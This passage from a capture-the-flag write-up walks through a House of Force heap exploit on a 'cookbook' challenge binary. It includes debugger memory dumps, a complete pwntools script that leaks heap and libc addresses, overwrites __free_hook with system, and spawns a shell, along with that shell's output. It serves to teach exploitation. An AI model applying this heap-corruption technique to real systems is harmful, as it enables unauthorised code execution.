). Then we will try and allocate an insanely large chunk from the wilderness that will obviously go well beyond the end of the heap, and into other memory regions such as libc. However since the wilderness value is big enough, malloc will go ahead and allocate that chunk. Then we can use that chunk to overwrite things in memory regions other than the heap.
Also just for reference, in a sample x64 program this is an instance of a wilderness value at 0x555555756038
:
gef➤ x/20g $rax
0x555555756010: 0x0000000000000000 0x0000000000000000
0x555555756020: 0x0000000000000000 0x0000000000000000
0x555555756030: 0x0000000000000000 0x0000000000020fd1
0x555555756040: 0x0000000000000000 0x0000000000000000
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x0000000000000000 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000000000000000
0x555555756090: 0x0000000000000000 0x0000000000000000
0x5555557560a0: 0x0000000000000000 0x0000000000000000
gef➤ x/g 0x555555756038
0x555555756038: 0x0000000000020fd1
So let's figure out how to groom the heap to allow us to do it. Picking up from where we left off with the infoleaks and a few other things (from the perspective of the exploit), we will first get a stale pointer to work with:
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
UNKNOWN DIRECTIVE
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
$ c
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
$ n
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
$ d
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
$ q
Next we will add two new ingredients, then free one. This will position it such that we can overwrite the wilderness value with the instructions:
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
$ a
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?
$ n
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?
$ n
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?
$ d
When we take a look at the memory layout prior to the write:
gef➤ x/20wx 0x8d5f400
0x8d5f400: 0x00000000 0x00000000 0x00000000 0x08d5f380
0x8d5f410: 0x00000000 0x0001ebf1 0x00000000 0x00000000
0x8d5f420: 0x00000000 0x00000000 0x00000000 0x00000000
0x8d5f430: 0x00000000 0x00000000 0x00000000 0x00000000
0x8d5f440: 0x00000000 0x00000000 0x00000000 0x00000000
We can see the wilderness value at 0x8d5f410
, which is 0x0001ebf1
. Now let's overwrite it with instructions:
$ q
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
$ c
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
$ i
$ 0000111122223333
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
When we look at the memory:
gef➤ x/20wx 0x8d5f400
0x8d5f400: 0x00000000 0x00000000 0x00000000 0x30303030
0x8d5f410: 0x31313131 0x32323232 0x33333333 0x0000000a
0x8d5f420: 0x00000000 0x00000000 0x00000000 0x00000000
0x8d5f430: 0x00000000 0x00000000 0x00000000 0x00000000
0x8d5f440: 0x00000000 0x00000000 0x00000000 0x00000000
Just like that, we were able to overwrite the wilderness value with 0x32323232
.
House of Power - Overwrite Free Hook
Now that we have the wilderness value overwritten, the next step is to allocate a chunk that spans outside of the heap into the libc. For this, we will actually allocate two chunks. The first will be the massive one that spans from the heap up to near the free hook. The purpose of this is to align the heap, so the next chunk we allocate will be right on the free hook.
For how much space we will allocate with the first chunk, we will allocate space equal to freehookAddress - 16 - wildernessAddress
(we know those values thanks to the infoleaks). The reason for the -16
is to make room for the heap metadata for the two chunks.
Let's take a look at the actual malloc allocations. First we will allocate a chunk of size 0xeec3c490
due to the memory mappings of this particular run:
─────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048bb2 adc BYTE PTR [ecx-0x137c4fbb], cl
0x8048bb8 or al, 0xff
0x8048bba jne 0x8048b6c
→ 0x8048bbc call 0x8048580 <malloc@plt>
↳ 0x8048580 <malloc@plt+0> jmp DWORD PTR ds:0x804d02c
0x8048586 <malloc@plt+6> push 0x40
0x804858b <malloc@plt+11> jmp 0x80484f0
0x8048590 <puts@plt+0> jmp DWORD PTR ds:0x804d030
0x8048596 <puts@plt+6> push 0x48
0x804859b <puts@plt+11> jmp 0x80484f0
─────────────────────────────────────────────────────── arguments (guessed) ────
malloc@plt (
[sp + 0x0] = 0xeec3c490,
[sp + 0x4] = 0x00000000,
[sp + 0x8] = 0x00000010,
[sp + 0xc] = 0xf760288c → <fgets+156> add esp, 0x20
)
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048bbc → call 0x8048580 <malloc@plt>
[#1] 0x8048a71 → jmp 0x8048b42
[#2] 0x804a426 → call 0x8049bed
[#3] 0xf75bc276 → __libc_start_main()
[#4] 0x8048621 → hlt
────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x08048bbc in ?? ()
We end up with this chunk:
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048bb6 sub esp, 0xc
0x8048bb9 push DWORD PTR [ebp-0x50]
0x8048bbc call 0x8048580 <malloc@plt>
→ 0x8048bc1 add esp, 0x10
0x8048bc4 mov ds:0x804d0a8, eax
0x8048bc9 mov ecx, DWORD PTR ds:0x804d080
0x8048bcf mov edx, DWORD PTR [ebp-0x50]
0x8048bd2 mov eax, ds:0x804d0a8
0x8048bd7 sub esp, 0x4
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: TEMPORARY BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048bc1 → add esp, 0x10
[#1] 0x8048a71 → jmp 0x8048b42
[#2] 0x804a426 → call 0x8049bed
[#3] 0xf75bc276 → __libc_start_main()
[#4] 0x8048621 → hlt
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x08048bc1 in ?? ()
gef➤ p $eax
$1 = 0x8b1f418
Next up we allocate the chunk that should overlap with the free hook:
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048bb2 adc BYTE PTR [ecx-0x137c4fbb], cl
0x8048bb8 or al, 0xff
0x8048bba jne 0x8048b6c
→ 0x8048bbc call 0x8048580 <malloc@plt>
↳ 0x8048580 <malloc@plt+0> jmp DWORD PTR ds:0x804d02c
0x8048586 <malloc@plt+6> push 0x40
0x804858b <malloc@plt+11> jmp 0x80484f0
0x8048590 <puts@plt+0> jmp DWORD PTR ds:0x804d030
0x8048596 <puts@plt+6> push 0x48
0x804859b <puts@plt+11> jmp 0x80484f0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
malloc@plt (
[sp + 0x0] = 0x00000005,
[sp + 0x4] = 0x00000000,
[sp + 0x8] = 0x00000010,
[sp + 0xc] = 0xf760288c → <fgets+156> add esp, 0x20
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048bbc → call 0x8048580 <malloc@plt>
[#1] 0x8048a71 → jmp 0x8048b42
[#2] 0x804a426 → call 0x8049bed
[#3] 0xf75bc276 → __libc_start_main()
[#4] 0x8048621 → hlt
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x08048bbc in ?? ()
gef➤
. . .
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048bb6 sub esp, 0xc
0x8048bb9 push DWORD PTR [ebp-0x50]
0x8048bbc call 0x8048580 <malloc@plt>
→ 0x8048bc1 add esp, 0x10
0x8048bc4 mov ds:0x804d0a8, eax
0x8048bc9 mov ecx, DWORD PTR ds:0x804d080
0x8048bcf mov edx, DWORD PTR [ebp-0x50]
0x8048bd2 mov eax, ds:0x804d0a8
0x8048bd7 sub esp, 0x4
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: TEMPORARY BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048bc1 → add esp, 0x10
[#1] 0x8048a71 → jmp 0x8048b42
[#2] 0x804a426 → call 0x8049bed
[#3] 0xf75bc276 → __libc_start_main()
[#4] 0x8048621 → hlt
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x08048bc1 in ?? ()
gef➤ p $eax
$3 = 0xf775b8b0
gef➤ x/wx $eax
0xf775b8b0: 0x00000000
gef➤ p __free_hook
$4 = 0x0
gef➤ set __free_hook = 0xfacade
gef➤ x/wx $eax
0xf775b8b0: 0x00facade
As you can see, we were able to allocate a chunk to the free hook by using a House of Force attack. After that, we just write the address of system to the free hook. After that, it is just a matter of freeing a chunk that points to /bin/sh\x00
.
Exploit
Putting it all together, we have the following exploit. This was ran on Ubuntu 17.04:
'''
This exploit is based off of this writeup with multiple parts (one of the best writeups I ever saw):
https://www.youtube.com/watch?v=f1wp6wza8ZI
https://www.youtube.com/watch?v=dnHuZLySS6g
https://www.youtube.com/watch?v=PISoSH8KGVI
link to exploit: https://gist.github.com/LiveOverflow/dadc75ec76a4638ab9ea#file-cookbook-py-L20
'''
#Import ctypes for signed to unsigned conversion, and pwntools to make life easier
import ctypes
from pwn import *
#Establish the got address for the free function, and an integer with value zero
gotFree = 0x804d018
zero = 0x0
#Establish the target
target = process('./cookbook', env={"LD_PRELOAD":"./libc-2.24.so"})
#gdb.attach(target)
#Send the initial name, guyinatuxedo
target.sendline('guyinatuxedo')
#This function will just reset the heap, by mallocing 5 byte size blocks with the string "00000" by giving the cookbook a name
def refresh_heap(amount):
for i in range(0, amount):
target.sendline("g")
target.sendline(hex(0x5))
target.sendline("00000")
recv()
recv()
#These are functions just to scan in output from the program
def recv():
target.recvuntil("====================")
def recvc():
target.recvuntil("[q]uit")
def recvd():
target.recvuntil("------\n")
#This function will leak a heap address, and calculate the address of the wilderness
def leakHeapadr():
#Create a new recipe, and add an ingredient
target.sendline('c')
recvc()
target.sendline('n')
recvc()
target.sendline('a')
recvc()
target.sendline('water')
target.sendline('0x1')
#Delete the recipe to free it
target.sendline('d')
recvc()
#Print the stale pointer, and parse out the heap infoleak
target.sendline('p')
target.recvuntil("recipe type: (null)\n\n")
heapleak = target.recvline()
heapleak = heapleak.replace(' -', '')
heapleak = int(heapleak)
#Calculate the address of the wilderness
global wilderness
wilderness = heapleak + 0xd38
#Print the results
log.info("Heap leak is: " + hex(heapleak))
log.info("Wilderness is at: " + hex(wilderness))
target.sendline('q')
recv()
recvc()
#This function will grab us a leak to libc, and calculate the address for system and the free hook
def leakLibcadr():
#Add a new ingredient, give it a name, price, calories, then save and exit
target.sendline('a')
recv()
target.sendline('n')
recv()
target.sendline('g')
target.sendline('7539')
recv()
target.sendline('s')
target.sendline('2')
recv()
target.sendline('p')
target.sendline('1')
recv()
target.sendline('e')
recv()
target.sendline('q')
recv()
#Go into the create recipe menu, use the instructions write `i` to write over the ingredient with the got address of Free
target.sendline('c')
recvc()
target.sendline('i')
target.sendline('0'*12 + p32(gotFree) + p32(zero))
recvc()
target.sendline('q')
recv()
#Print the infoleak and parse it out
target.sendline('l')
recvc()
for i in xrange(9):
recvd()
target.recvline()
libcleak = target.recvline()
libcleak = ctypes.c_uint32(int(libcleak.replace("calories: ", "")))
libcleak = libcleak.value
#Calculate the addresses for system and the freehook, print all three addresses
global sysadr
sysadr = libcleak - 0x37d60
global freehook
freehook = libcleak + 0x144af0
log.info("Address of free: " + hex(libcleak))
log.info("Address of system: " + hex(sysadr))
log.info("Address of free hook: " + hex(freehook))
#This function will overwrite the value that specifies how much of the heap is left (overwriteWilderness) with 0xffffffff so we can use malloc/calloc to allocate space outside of the heap
def overwriteWilderness():
#This will allow us to start with a fresh new heap, so it will make the next part easier
refresh_heap(0x100)
#Create a new stalepointer, which will be used later
target.sendline('c')
recvc()
target.sendline('n')
recvc()
target.sendline('d')
recvc()
target.sendline('q')
recv()
#Add two new ingredients, then free one. This will position the wilderness value at a spot which we can easily write to it
target.sendline('a')
recv()
target.sendline('n')
recv()
target.sendline('n')
recv()
target.sendline('d')
recv()
target.sendline('q')
recv()
#Write over the wilderness value which is 8 bytes away from the start of our input, with 0xffffffff
target.sendline('c')
recvc()
target.sendline('i')
recvc()
wildernessWrite = p32(0x0) + p32(0x0) + p32(0xffffffff) + p32(0x0)
target.sendline(wildernessWrite)
recvc()
target.sendline('q')
recv()
def overwriteFreehook():
#Calculate the space that we will need to allocate to get right before the free hook
malloc_to_freehook = (freehook - 16) - wilderness
log.info("Space from wilderness to freehook is : " + hex(malloc_to_freehook))
#Allocate that much space by giving a cookbook a name of that size
target.sendline('g')
target.sendline(hex(malloc_to_freehook))
target.sendline('0000')
recv()
#Now that the heap is aligned, the next name should write over the freehook, which we write over it with the address of system
target.sendline('g')
target.sendline(hex(5))
target.sendline(p32(sysadr))
recv()
#Next we will allocate a new space in the heap, and store our argument to system in it
target.sendline('g')
target.sendline(hex(8))
target.sendline("/bin/sh")
recv()
#Lastly we will run free from the space malloced in the last block, so we can run free with the system function as a hook, with an argument that is a pointer to "/bin/sh"
target.sendline('R')
recv()
#Recieve some additional output that we didn't do earlier (unimportant for the exploit)
recv()
recv()
recvc()
#Run the four functions that make up this exploit
leakHeapadr()
leakLibcadr()
overwriteWilderness()
overwriteFreehook()
#Drop to an interactive shell
log.info("XD Enjoy your shell XD")
target.interactive()
When we run it:
$ python exploit.py
[+] Starting local process './cookbook': pid 63919
[*] Heap leak is: 0x846d6d8
[*] Wilderness is at: 0x846e410
[*] Address of free: 0xf761fdc0
[*] Address of system: 0xf75e8060
[*] Address of free hook: 0xf77648b0
[*] Space from wilderness to freehook is : 0xef2f6490
[*] XD Enjoy your shell XD
[*] Switching to interactive mode
ERROR: ld.so: object './libc-2.24.so' from LD_PRELOAD cannot be preloaded (wrong ELF class: ELFCLASS32): ignored.
ERROR: ld.so: object './libc-2.24.so' from LD_PRELOAD cannot be preloaded (wrong ELF class: ELFCLASS32): ignored.
$ w
ERROR: ld.so: object './libc-2.24.so' from LD_PRELOAD cannot be preloaded (wrong ELF class: ELFCLASS32): ignored.
01:13:59 up 2:55, 1 user, load average: 0.00, 0.03, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
guyinatu tty7 :0 21Aug19 9days 58.15s 0.03s /bin/sh /usr/lib/gnome-session/run-systemd-session ubuntu-session.target
$ ls
ERROR: ld.so: object './libc-2.24.so' from LD_PRELOAD cannot be preloaded (wrong ELF class: ELFCLASS32): ignored.
cookbook libc-2.24.so peda-session-w.procps.txt try.py
core peda-session-cookbook.txt readme.md
exploit.py peda-session-dash.txt test.py
Like that, we popped a shell!